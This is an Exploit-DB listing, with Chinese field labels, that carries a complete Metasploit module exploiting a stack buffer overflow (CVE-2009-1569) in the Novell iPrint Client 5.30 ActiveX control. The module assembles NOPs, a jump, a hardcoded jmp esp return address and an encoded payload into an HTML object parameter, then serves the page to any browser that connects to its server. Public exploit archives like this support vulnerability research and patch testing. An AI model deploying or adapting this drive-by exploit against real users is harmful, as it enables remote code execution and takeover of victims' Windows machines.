标题: Novell iPrint Client - ActiveX Control Date/Time Buffer Overflow (Metasploit) EDB-ID: 16543 CVE: 2009-1569 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: novelliprint_datetime.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell iPrint Client ActiveX Control Date/Time Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When
    passing a specially crafted date/time string via certain parameters to ienipp.ocx
    an attacker can execute arbitrary code.

    NOTE: The "operation" variable must be set to a valid command in order to reach this
    vulnerability.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'jduck' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2009-1569' ],
     [ 'BID', '37242' ],
     [ 'OSVDB', '60804' ],
     [ 'URL', 'http://secunia.com/advisories/35004/' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 512,
     'BadChars'      => "\x00=:;,", # these are used in a strtok
     'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
     'DisableNops'   => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'iPrint 5.30 Windows Client', { 'Ret' => 0x1005ad5b } ] # jmp esp in ienipp.ocx v5.30
    ],
   'DisclosureDate' => 'Dec 08 2009',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  sploit = "volatile-date-time"
  sploit << make_nops(60)
  # this should end up "\xeb\x04"
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
  sploit << [target.ret].pack('V')
  sploit << p.encoded

  operations = [
   "op-client-interface-version",
   "op-client-version-info",
   "op-client-is-printer-installed",
   "op-user-get-role",
   "op-printer-install",
   "op-printer-remove",
   "op-printer-get-status",
   "op-printer-get-info",
   "op-printer-pause",
   "op-printer-resume",
   "op-printer-purge-jobs",
   "op-printer-list-users-jobs",
   "op-printer-list-all-jobs",
   "op-printer-send-test-page",
   "op-printer-send-file",
   "op-printer-setup-install",
   "op-job-get-info",
   "op-job-hold",
   "op-job-release-hold",
   "op-job-cancel",
   "op-job-restart",
   "op-dbg-printer-get-all-attrs",
   "op-dbg-job-get-all-attrs"
  ]
  operation = operations[rand(operations.length)]

  # escape single quotes
  sploit = xml_encode(sploit)

  content = %Q|<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'>
<param name='operation' value='#{operation}' />
<param name='persistence' value='#{sploit}' />
</object>
</html>
|

  content = Rex::Text.randomize_space(content)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

 def xml_encode(str)
  ret = ""
  str.unpack('C*').each { |ch|
   case ch
   when 0x41..0x5a, 0x61..0x7a, 0x30..0x39
    ret << ch.chr
   else
    ret << "&#x"
    ret << ch.chr.unpack('H*')[0]
    ret << ";"
   end
  }
  ret
 end

end URL: https://www.exploit-db.com/exploits/16543